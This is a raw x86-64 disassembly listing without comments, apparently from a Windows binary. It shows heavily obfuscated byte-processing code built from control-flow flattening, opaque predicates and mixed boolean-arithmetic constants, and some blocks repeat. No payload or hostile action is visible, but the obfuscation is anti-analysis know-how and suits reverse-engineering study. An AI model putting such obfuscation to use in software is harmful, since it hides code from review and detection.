mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov edx, 0xd84b80b0
jmp 0x140027140
mov edx, 0x2412b668
jmp 0x140027140
mov edx, 0xa8389bf0
jmp 0x140027140
cmp edx, 0xa8389bf0
jne 0x140027140
test r10b, 1
mov byte [rbp + 0x50], dil
mov dl, byte [rbp + 0x50]
mov byte [r8 + 0xd], dl
mov rdx, qword [rbp + 0x40]
movzx r14d, byte [rdx + 0xe]
sete byte [rbp + 0x28]
cmp r9d, 0xa
setl byte [rbp + 0x38]
movabs rdx, 0x96c93431608e4db
add r14, rdx
mov edx, 0x67de0e00
jmp 0x1400272f0
mov edx, 0x41be4095
nop dword [rax + rax]
cmp edx, 0x3f51b718
jg 0x140027330
cmp edx, 0xb15e3b2
jg 0x140027370
cmp edx, 0x980db29e
je 0x1400273cb
cmp edx, 0xd84b80b0
jne 0x14002744f
mov rdx, qword [rbp + 0x78]
mov rdi, qword [rbp + 0x80]
xor edi, edx
mov edx, r11d
jmp 0x1400272f0
cmp edx, 0x41f4c7ac
jg 0x140027390
cmp edx, 0x3f51b719
je 0x14002743b
cmp edx, 0x41be4095
jne 0x1400272f0
mov qword [rbp + 0x78], r14
movabs rdx, 0x93a1cbe50325d78d
add rdx, 0xe
mov qword [rbp + 0x80], rdx
mov edx, ecx
jmp 0x1400272f0
cmp edx, 0xb15e3b3
je 0x1400272e3
cmp edx, 0x2412b668
jne 0x1400272f0
mov edx, eax
jmp 0x1400272f0
cmp edx, 0x41f4c7ad
je 0x140027445
cmp edx, 0x67de0e00
jne 0x1400272f0
movzx ebx, byte [rbp + 0x28]
cmp byte [rbp + 0x38], 0
mov esi, 0x41be4095
mov edx, 0x41be4095
jne 0x1400273c1
mov edx, 0xb15e3b3
test bl, bl
cmovne edx, esi
jmp 0x1400272f0
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov edx, 0xd84b80b0
jmp 0x1400272f0
mov edx, 0x2412b668
jmp 0x1400272f0
mov edx, 0xa8389bf0
jmp 0x1400272f0
cmp edx, 0xa8389bf0
jne 0x1400272f0
test r10b, 1
mov byte [rbp + 0x50], dil
mov dl, byte [rbp + 0x50]
mov byte [r8 + 0xe], dl
mov rdx, qword [rbp + 0x40]
movzx r14d, byte [rdx + 0xf]
sete byte [rbp + 0x28]
cmp r9d, 0xa
setl byte [rbp + 0x38]
movabs rdx, 0x96c93431608e4db
add r14, rdx
mov edx, 0x67de0e00
jmp 0x1400274a0
mov edx, 0x41be4095
nop dword [rax + rax]
cmp edx, 0x3f51b718
jg 0x1400274e0
cmp edx, 0xb15e3b2
jg 0x140027520
cmp edx, 0x980db29e
je 0x14002757b
cmp edx, 0xd84b80b0
jne 0x1400275ff
mov rdx, qword [rbp + 0x78]
mov rdi, qword [rbp + 0x80]
xor edi, edx
mov edx, r11d
jmp 0x1400274a0
cmp edx, 0x41f4c7ac
jg 0x140027540
cmp edx, 0x3f51b719
je 0x1400275eb
cmp edx, 0x41be4095
jne 0x1400274a0
mov qword [rbp + 0x78], r14
movabs rdx, 0x93a1cbe50325d78d
add rdx, 0xf
mov qword [rbp + 0x80], rdx
mov edx, ecx
jmp 0x1400274a0
cmp edx, 0xb15e3b3
je 0x140027493
cmp edx, 0x2412b668
jne 0x1400274a0
mov edx, eax
jmp 0x1400274a0
cmp edx, 0x41f4c7ad
je 0x1400275f5
cmp edx, 0x67de0e00
jne 0x1400274a0
movzx ebx, byte [rbp + 0x28]
cmp byte [rbp + 0x38], 0
mov esi, 0x41be4095
mov edx, 0x41be4095
jne 0x140027571
mov edx, 0xb15e3b3
test bl, bl
cmovne edx, esi
jmp 0x1400274a0
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov edx, 0xd84b80b0
jmp 0x1400274a0
mov edx, 0x2412b668
jmp 0x1400274a0
mov edx, 0xa8389bf0
jmp 0x1400274a0
cmp edx, 0xa8389bf0
jne 0x1400274a0
test r10b, 1
mov byte [rbp + 0x50], dil
mov dl, byte [rbp + 0x50]
mov byte [r8 + 0xf], dl
mov rdx, qword [rbp + 0x40]
movzx r14d, byte [rdx + 0x10]
sete byte [rbp + 0x28]
cmp r9d, 0xa
setl byte [rbp + 0x38]
movabs rdx, 0x96c93431608e4db
add r14, rdx
mov edx, 0x67de0e00
jmp 0x140027650
mov edx, 0x41be4095
nop dword [rax + rax]
cmp edx, 0x3f51b718
jg 0x140027690
cmp edx, 0xb15e3b2
jg 0x1400276d0
cmp edx, 0x980db29e
je 0x14002772b
cmp edx, 0xd84b80b0
jne 0x1400277af
mov rdx, qword [rbp + 0x78]
mov rdi, qword [rbp + 0x80]
xor edi, edx
mov edx, r11d
jmp 0x140027650
cmp edx, 0x41f4c7ac
jg 0x1400276f0
cmp edx, 0x3f51b719
je 0x14002779b
cmp edx, 0x41be4095
jne 0x140027650
mov qword [rbp + 0x78], r14
movabs rdx, 0x93a1cbe50325d78d
add rdx, 0x10
mov qword [rbp + 0x80], rdx
mov edx, ecx
jmp 0x140027650
cmp edx, 0xb15e3b3
je 0x140027643
cmp edx, 0x2412b668
jne 0x140027650
mov edx, eax
jmp 0x140027650
cmp edx, 0x41f4c7ad
je 0x1400277a5
cmp edx, 0x67de0e00
jne 0x140027650
movzx ebx, byte [rbp + 0x28]
cmp byte [rbp + 0x38], 0
mov esi, 0x41be4095
mov edx, 0x41be4095
jne 0x140027721
mov edx, 0xb15e3b3
test bl, bl
cmovne edx, esi
jmp 0x140027650
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov edx, 0xd84b80b0
jmp 0x140027650
mov edx, 0x2412b668
jmp 0x140027650
mov edx, 0xa8389bf0
jmp 0x140027650
cmp edx, 0xa8389bf0
jne 0x140027650
lea rdx, [r8 + 0x11]
test r10b, 1
mov byte [rbp + 0x50], dil
mov bl, byte [rbp + 0x50]
mov byte [r8 + 0x10], bl
mov qword [rbp + 0x28], rdx
mov rdx, qword [rbp + 0x40]
movzx r8d, byte [rdx + 0x11]
sete byte [rbp + 0x48]
cmp r9d, 0xa
setl byte [rbp + 0x38]
movabs rdx, 0x96c93431608e4db
add r8, rdx
mov edx, 0x67de0e00
jmp 0x140027800
mov edx, 0x41be4095
cmp edx, 0x3f51b718
jg 0x140027840
cmp edx, 0xb15e3b2
jg 0x140027880
cmp edx, 0x980db29e
je 0x1400278db
cmp edx, 0xd84b80b0
jne 0x14002795f
mov rdx, qword [rbp + 0x78]
mov rdi, qword [rbp + 0x80]
xor edi, edx
mov edx, r11d
jmp 0x140027800
cmp edx, 0x41f4c7ac
jg 0x1400278a0
cmp edx, 0x3f51b719
je 0x14002794b
cmp edx, 0x41be4095
jne 0x140027800
mov qword [rbp + 0x78], r8
movabs rdx, 0x93a1cbe50325d78d
add rdx, 0x11
mov qword [rbp + 0x80], rdx
mov edx, ecx
jmp 0x140027800
cmp edx, 0xb15e3b3
je 0x1400277fb
cmp edx, 0x2412b668
jne 0x140027800
mov edx, eax
jmp 0x140027800
cmp edx, 0x41f4c7ad
je 0x140027955
cmp edx, 0x67de0e00
jne 0x140027800
movzx ebx, byte [rbp + 0x48]
cmp byte [rbp + 0x38], 0
mov esi, 0x41be4095
mov edx, 0x41be4095
jne 0x1400278d1
mov edx, 0xb15e3b3
test bl, bl
cmovne edx, esi
jmp 0x140027800
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov edx, 0xd84b80b0
jmp 0x140027800
mov edx, 0x2412b668
jmp 0x140027800
mov edx, 0xa8389bf0
jmp 0x140027800
cmp edx, 0xa8389bf0
jne 0x140027800
mov byte [rbp + 0x50], dil
mov al, byte [rbp + 0x50]
mov rcx, qword [rbp + 0x28]
mov byte [rcx], al
mov eax, 0xab5ac9b9
jmp 0x1400279a5
mov eax, dword [0x1400610e8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf2e0d0
mov ecx, 0x3cb83e3b
cmove eax, ecx
cmp dword [0x1400610ec], 0xa
cmovl eax, ecx
cmp eax, 0xde54c58c
jle 0x1400279f0
cmp eax, 0xf2e0cf
jle 0x140027a30
cmp eax, 0xf2e0d0
je 0x140028664
cmp eax, 0x271e7b0b
je 0x14002797f
cmp eax, 0x3cb83e3b
jne 0x1400279a5
mov eax, dword [0x1400610e8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf2e0d0
mov ecx, 0xcf2afa5a
jmp 0x140027998
cmp eax, 0xcac12605
jle 0x140028630
cmp eax, 0xcac12606
je 0x14002866e
cmp eax, 0xd7113711
jne 0x140028ac6
mov byte [r8], 0
add r8, 1
cmp r8, qword [rbp + 0x50]
mov eax, 0xd7113711
mov ecx, 0x271e7b0b
cmove eax, ecx
jmp 0x1400279a5
cmp eax, 0xde54c58d
je 0x140028678
cmp eax, 0xe32cf5fc
jne 0x1400279a5
movzx r8d, byte [rbp + 0x10]
mov eax, dword [0x1400610e0]
mov edx, dword [0x1400610e4]
lea ebx, [rax - 1]
imul ebx, eax
and ebx, 1
cmp edx, 0xa
setl al
mov ecx, ebx
xor cl, al
mov ecx, 0x3f51b719
mov edi, 0xb15e3b3
cmovne ecx, edi
test ebx, ebx
sete byte [rbp + 0x20]
sete bl
mov edi, 0x3f51b719
cmove ecx, edi
cmp edx, 0xa
setl byte [rbp + 0x58]
cmovl ecx, edi
or bl, al
mov r9d, 0x980db29e
mov eax, 0x41f4c7ad
cmovne r9d, eax
mov ebx, 0x980db29e
mov eax, 0xd84b80b0
cmovne ebx, eax
movabs rax, 0x96c93431608e4db
add r8, rax
mov edx, 0x67de0e00
jmp 0x140027ad0
cmp edx, 0x3f51b718
jg 0x140027b10
cmp eax, 0x96a0c41f
je 0x140028894
cmp eax, 0xab5ac9b9
jne 0x1400279a5
mov eax, dword [0x1400610e8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xde54c58d
mov ecx, 0x96a0c41f
jmp 0x140027998
mov eax, 0x3cb83e3b
jmp 0x1400279a5
mov eax, 0xe32cf5fc
jmp 0x1400279a5
mov r9, qword [rbp + 0x28]
mov rax, qword [rbp + 0x40]
movzx r10d, byte [rax + 0x12]
mov eax, dword [0x1400610e0]
mov ecx, dword [0x1400610e4]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
setl bl
mov eax, edx
xor al, bl
mov eax, 0x3f51b719
mov edi, 0xb15e3b3
cmovne eax, edi
test edx, edx
sete byte [rbp + 0x20]
sete dl
mov edi, 0x3f51b719
cmove eax, edi
cmp ecx, 0xa
setl byte [rbp + 0x58]
cmovl eax, edi
or dl, bl
mov r11d, 0x980db29e
mov ecx, 0x41f4c7ad
cmovne r11d, ecx
mov edi, 0x980db29e
mov ecx, 0xd84b80b0
cmovne edi, ecx
movabs rcx, 0x96c93431608e4db
add r10, rcx
mov ebx, 0x67de0e00
jmp 0x140028710
cmp ebx, 0x3f51b718
jg 0x140028750
cmp ebx, 0xb15e3b2
jg 0x140028790
cmp ebx, 0x41f4c7ac
jg 0x1400287b0
mov r9, qword [rbp + 0x28]
mov rax, qword [rbp + 0x40]
movzx r10d, byte [rax + 0x12]
mov eax, dword [0x1400610e0]
mov ecx, dword [0x1400610e4]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
setl bl
mov eax, edx
xor al, bl
mov eax, 0x3f51b719
mov edi, 0xb15e3b3
cmovne eax, edi
test edx, edx
sete byte [rbp + 0x20]
sete dl
mov edi, 0x3f51b719
cmove eax, edi
cmp ecx, 0xa
setl byte [rbp + 0x58]
cmovl eax, edi
or dl, bl
mov r11d, 0x980db29e
mov ecx, 0x41f4c7ad
cmovne r11d, ecx
mov edi, 0x980db29e
mov ecx, 0xd84b80b0
cmovne edi, ecx
movabs rcx, 0x96c93431608e4db
add r10, rcx
mov ebx, 0x67de0e00
jmp 0x140028920
cmp ebx, 0x3f51b718
jg 0x140028960
cmp ebx, 0xb15e3b2
jg 0x1400289a0
cmp ebx, 0x41f4c7ac
jg 0x1400289c0
cmp eax, 0xcf2afa5a
jne 0x1400279a5
mov r8, qword [rbp - 0x30]
mov eax, dword [0x1400610f0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1400610f4], 0xa
setl cl
or cl, al
mov ecx, 0x92cb49de
mov eax, 0xf29aa4ea
cmovne ecx, eax
mov edx, 0x92cb49de
mov eax, 0xf2c94e38
cmovne edx, eax
mov ebx, 0xead3799d
mov eax, 0x8ed7f5db
cmovne ebx, eax
mov eax, 0xead3799d
mov edi, 0xd7ca1bb4
cmovne eax, edi
mov edi, 0xfa739284
jmp 0x140028b40
mov eax, 0xc3a41f50
jmp 0x140021078
mov byte [rbp + 0x38], r10b
mov al, byte [rbp + 0x38]
mov rcx, qword [rbp + 0x20]
mov byte [rcx], al
mov rax, qword [rbp + 0x20]
add rax, 1
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x58]
movzx eax, byte [rax + 1]
movabs rcx, 0x5bdb64d044ce5e1
add rax, rcx
mov qword [rbp + 0x50], rax
movabs rax, 0x6e88d0e66e5420d7
add rax, 1
mov qword [rbp + 0x78], rax
mov eax, dword [0x1400610d8]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
mov edi, 0x6e3793ad
mov edx, 0xf46c509b
cmove edi, edx
cmp dword [0x1400610dc], 0xa
cmovl edi, edx
setge bl
xor al, bl
mov edx, eax
xor dl, 1
and cl, bl
or cl, dl
xor cl, al
mov r11d, 0x6e3793ad
mov eax, 0x98f8596f
cmovne r11d, eax
mov edx, 0x88a95f0c
nop dword [rax]
cmp edx, 0xd7ca0e98
jle 0x1400293f0
cmp edx, 0xd7ca0e99
je 0x14002940b
cmp edx, 0xf46c509b
je 0x14002c16c
cmp edx, 0x6e3793ad
jne 0x1400293b0
mov rax, qword [rbp + 0x80]
mov edx, 0x98f8596f
jmp 0x1400293b0
cmp edx, 0x88a95f0c
je 0x140029410
cmp edx, 0x98f8596f
jne 0x1400293b0
mov r10, qword [rbp + 0x80]
mov edx, edi
jmp 0x1400293b0
mov edx, r11d
jmp 0x1400293b0
mov rax, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x78]
mov rsi, rax
movabs rcx, 0x8e18b4232d0bcb7b
xor rsi, rcx
mov rbx, rdx
and rbx, rcx
movabs rcx, 0x4142489c00900084
or rbx, rcx
movabs r14, 0x71e74bdcd2f43484
and rdx, r14
xor rdx, rbx
mov rbx, rdx
movabs rcx, 0xcf5afcbf2d9bcbff
xor rbx, rcx
xor rax, r14
and rax, rbx
movabs rcx, 0x30a50340d2643400
xor rdx, rcx
and rdx, rsi
or rdx, rax
mov qword [rbp + 0x80], rdx
mov edx, 0xd7ca0e99
jmp 0x1400293b0
mov byte [rbp + 0x38], r10b
mov al, byte [rbp + 0x38]
mov rcx, qword [rbp + 0x48]
mov byte [rcx], al
mov ecx, 0xc52ff3a8
jmp 0x1400294c9
mov byte [rbp + 0x10], r11b
mov al, byte [rbp + 0x10]
mov byte [rbp + 0x76], al
mov eax, dword [0x140061118]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x42663e8f
mov eax, 0x6ed3ec1f
cmove ecx, eax
cmp dword [0x14006111c], 0xa
cmovl ecx, eax
cmp ecx, 0x3fc11ad4
jle 0x140029570
cmp ecx, 0x6ed3ec1e
jle 0x1400295c0
cmp ecx, 0x6ed3ec1f
je 0x14002977a
cmp ecx, 0x6efb8690
je 0x140029784
cmp ecx, 0x7f84c2b2
jne 0x1400294c9
mov rax, qword [rbp + 0x38]
mov byte [rax], 0
mov eax, dword [0x140061118]
mov edx, dword [0x14006111c]
lea ebx, [rax - 1]
imul ebx, eax
and bl, 1
cmp edx, 0xa
setl al
xor al, bl
mov ecx, 0x3fc11ad5
mov eax, 0x986c91d1
cmovne ecx, eax
test bl, bl
mov ebx, 0x3fc11ad5
cmove ecx, ebx
cmp edx, 0xa
mov rax, qword [rbp + 0x38]
cmovl ecx, ebx
add rax, 1
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x40]
mov rdx, qword [rbp + 0x28]
cmp rdx, rax
sete byte [rbp + 0x77]
jmp 0x1400294c9
cmp ecx, 0xf9406ecd
jg 0x140029740
cmp ecx, 0x986c91d1
je 0x1400298d5
cmp ecx, 0xc52ff3a8
jne 0x14002ac9b
mov ecx, dword [0x140061118]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x42663e8f
mov eax, 0x6efb8690
jmp 0x1400294bc
cmp ecx, 0x3fc11ad5
je 0x1400298ee
cmp ecx, 0x42663e8f
jne 0x1400294c9
mov r11, qword [rbp + 0x48]
mov rax, qword [rbp + 0x58]
movzx eax, byte [rax + 2]
movabs rcx, 0x5bdb64d044ce5e1
add rax, rcx
mov qword [rbp + 0x50], rax
movabs rax, 0x6e88d0e66e5420d7
add rax, 2
mov qword [rbp + 0x78], rax
mov eax, dword [0x1400610d8]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete cl
mov esi, 0x6e3793ad
mov eax, 0xf46c509b
cmove esi, eax
cmp dword [0x1400610dc], 0xa
cmovl esi, eax
setge bl
xor cl, bl
mov eax, ecx
xor al, 1
and dl, bl
or dl, al
xor dl, cl
mov r15d, 0x6e3793ad
mov eax, 0x98f8596f
cmovne r15d, eax
mov edx, 0x88a95f0c
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xd7ca0e98
jle 0x1400296a0
cmp edx, 0xd7ca0e99
je 0x1400296bb
cmp edx, 0xf46c509b
je 0x140029908
cmp edx, 0x6e3793ad
jne 0x140029660
mov rax, qword [rbp + 0x80]
mov edx, 0x98f8596f
jmp 0x140029660
cmp edx, 0x88a95f0c
je 0x1400296c0
cmp edx, 0x98f8596f
jne 0x140029660
mov r14, qword [rbp + 0x80]
mov edx, esi
jmp 0x140029660
mov edx, r15d
jmp 0x140029660
mov rcx, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x78]
mov rbx, rcx
movabs rdi, 0x8e18b4232d0bcb7b
xor rbx, rdi
mov rax, rdx
and rax, rdi
movabs rdi, 0x4142489c00900084
or rax, rdi
movabs r12, 0x71e74bdcd2f43484
and rdx, r12
xor rdx, rax
mov rax, rdx
movabs rdi, 0xcf5afcbf2d9bcbff
xor rax, rdi
xor rcx, r12
and rcx, rax
movabs rax, 0x30a50340d2643400
xor rdx, rax
and rdx, rbx
or rdx, rcx
mov qword [rbp + 0x80], rdx
mov edx, 0xd7ca0e99
jmp 0x140029660
cmp ecx, 0xf9406ece
je 0x140029a65
cmp ecx, 0x1e0abf82
jne 0x1400294c9
mov qword [rbp + 0x38], r10
mov eax, dword [0x140061118]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x986c91d1
mov eax, 0x7f84c2b2
jmp 0x1400294bc
mov ecx, 0xf9406ece
jmp 0x1400294c9
mov r11, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x58]
movzx ecx, byte [rcx + 2]
movabs rax, 0x5bdb64d044ce5e1
add rcx, rax
mov qword [rbp + 0x50], rcx
movabs rax, 0x6e88d0e66e5420d7
lea rcx, [rax + 2]
mov qword [rbp + 0x78], rcx
mov ecx, dword [0x1400610d8]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
sete cl
mov esi, 0x6e3793ad
mov eax, 0xf46c509b
cmove esi, eax
cmp dword [0x1400610dc], 0xa
cmovl esi, eax
setge bl
xor cl, bl
mov eax, ecx
xor al, 1
and dl, bl
or dl, al
xor dl, cl
mov r15d, 0x6e3793ad
mov eax, 0x98f8596f
cmovne r15d, eax
mov edx, 0x88a95f0c
nop
cmp edx, 0xd7ca0e98
jle 0x140029840
cmp edx, 0xd7ca0e99
je 0x14002985b
cmp edx, 0xf46c509b
je 0x140029bc5
cmp edx, 0x6e3793ad
jne 0x140029800
mov rax, qword [rbp + 0x80]
mov edx, 0x98f8596f
jmp 0x140029800
cmp edx, 0x88a95f0c
je 0x140029860
cmp edx, 0x98f8596f
jne 0x140029800
mov r14, qword [rbp + 0x80]
mov edx, esi
jmp 0x140029800
mov edx, r15d
jmp 0x140029800
mov rcx, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x78]
mov rbx, rcx
movabs rdi, 0x8e18b4232d0bcb7b
xor rbx, rdi
mov rax, rdx
and rax, rdi
movabs rdi, 0x4142489c00900084
or rax, rdi
movabs r12, 0x71e74bdcd2f43484
and rdx, r12
xor rdx, rax
mov rax, rdx
movabs rdi, 0xcf5afcbf2d9bcbff
xor rax, rdi
xor rcx, r12
and rcx, rax
movabs rax, 0x30a50340d2643400
xor rdx, rax
and rdx, rbx
or rdx, rcx
mov qword [rbp + 0x80], rdx
mov edx, 0xd7ca0e99
jmp 0x140029800
mov rax, qword [rbp + 0x38]
mov byte [rax], 0
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x40]
mov ecx, 0x7f84c2b2
jmp 0x1400294c9
cmp byte [rbp + 0x77], 0
mov ecx, 0x1e0abf82
mov eax, 0x8d20189d
cmovne ecx, eax
mov r10, qword [rbp + 0x28]
jmp 0x1400294c9
mov byte [rbp + 0x10], r14b
mov al, byte [rbp + 0x10]
mov byte [r11 + 1], al
mov rax, qword [rbp + 0x58]
movzx eax, byte [rax + 3]
movabs rcx, 0x5bdb64d044ce5e1
add rax, rcx
mov qword [rbp + 0x50], rax
movabs rax, 0x6e88d0e66e5420d7
add rax, 3
mov qword [rbp + 0x78], rax
mov eax, dword [0x1400610d8]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete cl
mov esi, 0x6e3793ad
mov eax, 0xf46c509b
cmove esi, eax
cmp dword [0x1400610dc], 0xa
cmovl esi, eax
setge bl
xor cl, bl
mov eax, ecx
xor al, 1
and dl, bl
or dl, al
xor dl, cl
mov r15d, 0x6e3793ad
mov eax, 0x98f8596f
cmovne r15d, eax
mov edx, 0x88a95f0c
nop word [rax + rax]
cmp edx, 0xd7ca0e98
jle 0x1400299d0
cmp edx, 0xd7ca0e99
je 0x1400299eb
cmp edx, 0xf46c509b
je 0x140029d25
cmp edx, 0x6e3793ad
jne 0x140029990
mov rax, qword [rbp + 0x80]
mov edx, 0x98f8596f
jmp 0x140029990
cmp edx, 0x88a95f0c
je 0x1400299f0
cmp edx, 0x98f8596f
jne 0x140029990
mov r14, qword [rbp + 0x80]
mov edx, esi
jmp 0x140029990
mov edx, r15d
jmp 0x140029990
mov rcx, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x78]
mov rbx, rcx
movabs rdi, 0x8e18b4232d0bcb7b
xor rbx, rdi
mov rax, rdx
and rax, rdi
movabs rdi, 0x4142489c00900084
or rax, rdi
movabs r12, 0x71e74bdcd2f43484
and rdx, r12
xor rdx, rax
mov rax, rdx
movabs rdi, 0xcf5afcbf2d9bcbff
xor rax, rdi
xor rcx, r12
and rcx, rax
movabs rax, 0x30a50340d2643400
xor rdx, rax
and rdx, rbx
or rdx, rcx
mov qword [rbp + 0x80], rdx
mov edx, 0xd7ca0e99
jmp 0x140029990
mov rax, qword [rbp + 0x68]
mov cl, byte [rbp + 0x76]
mov byte [rax], cl
mov r10, qword [rbp + 0x68]
mov rax, qword [rbp + 0x58]
movzx eax, byte [rax + 6]
movabs rcx, 0x5bdb64d044ce5e1
add rax, rcx
mov qword [rbp + 0x50], rax
movabs rax, 0x6e88d0e66e5420d7
add rax, 6
mov qword [rbp + 0x78], rax
mov eax, dword [0x1400610d8]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete cl
mov esi, 0x6e3793ad
mov eax, 0xf46c509b
cmove esi, eax
cmp dword [0x1400610dc], 0xa
cmovl esi, eax
setge bl
xor cl, bl
mov eax, ecx
xor al, 1
and dl, bl
or dl, al
xor dl, cl
mov r14d, 0x6e3793ad
mov eax, 0x98f8596f
cmovne r14d, eax
mov edx, 0x88a95f0c
nop dword [rax]
cmp edx, 0xd7ca0e98
jle 0x140029b30
cmp edx, 0xd7ca0e99
je 0x140029b4b
cmp edx, 0xf46c509b
je 0x140029e85
cmp edx, 0x6e3793ad
jne 0x140029af0
mov rax, qword [rbp + 0x80]
mov edx, 0x98f8596f
jmp 0x140029af0
cmp edx, 0x88a95f0c
je 0x140029b50
cmp edx, 0x98f8596f
jne 0x140029af0
mov r11, qword [rbp + 0x80]
mov edx, esi
jmp 0x140029af0
mov edx, r14d
jmp 0x140029af0
mov rax, qword [rbp + 0x50]
mov rcx, qword [rbp + 0x78]
mov rdx, rax
movabs rbx, 0x8e18b4232d0bcb7b
xor rdx, rbx
mov rdi, rcx
and rdi, rbx
movabs rbx, 0x4142489c00900084
or rdi, rbx
movabs r15, 0x71e74bdcd2f43484
and rcx, r15
xor rcx, rdi
mov rdi, rcx
movabs rbx, 0xcf5afcbf2d9bcbff
xor rdi, rbx
xor rax, r15
and rax, rdi
movabs rdi, 0x30a50340d2643400
xor rcx, rdi
and rcx, rdx
or rcx, rax
mov qword [rbp + 0x80], rcx
mov edx, 0xd7ca0e99
jmp 0x140029af0
mov byte [rbp + 0x10], r14b
mov al, byte [rbp + 0x10]
mov byte [r11 + 1], al
mov rax, qword [rbp + 0x58]
movzx eax, byte [rax + 3]
movabs rcx, 0x5bdb64d044ce5e1
add rax, rcx
mov qword [rbp + 0x50], rax
movabs rax, 0x6e88d0e66e5420d7
add rax, 3
mov qword [rbp + 0x78], rax
mov eax, dword [0x1400610d8]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete cl
mov esi, 0x6e3793ad
mov eax, 0xf46c509b
cmove esi, eax
cmp dword [0x1400610dc], 0xa
cmovl esi, eax
setge bl
xor cl, bl
mov eax, ecx
xor al, 1
and dl, bl
or dl, al
xor dl, cl
mov r15d, 0x6e3793ad
mov eax, 0x98f8596f
cmovne r15d, eax
mov edx, 0x88a95f0c
nop word [rax + rax]
cmp edx, 0xd7ca0e98
jle 0x140029c90
cmp edx, 0xd7ca0e99
je 0x140029cab
cmp edx, 0xf46c509b
je 0x140029fe5
cmp edx, 0x6e3793ad
jne 0x140029c50
mov rax, qword [rbp + 0x80]
mov edx, 0x98f8596f
jmp 0x140029c50
cmp edx, 0x88a95f0c
je 0x140029cb0
cmp edx, 0x98f8596f
jne 0x140029c50
mov r14, qword [rbp + 0x80]
mov edx, esi
jmp 0x140029c50
mov edx, r15d
jmp 0x140029c50
mov rcx, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x78]
mov rbx, rcx
movabs rdi, 0x8e18b4232d0bcb7b
xor rbx, rdi
mov rax, rdx
and rax, rdi
movabs rdi, 0x4142489c00900084
or rax, rdi
movabs r12, 0x71e74bdcd2f43484
and rdx, r12
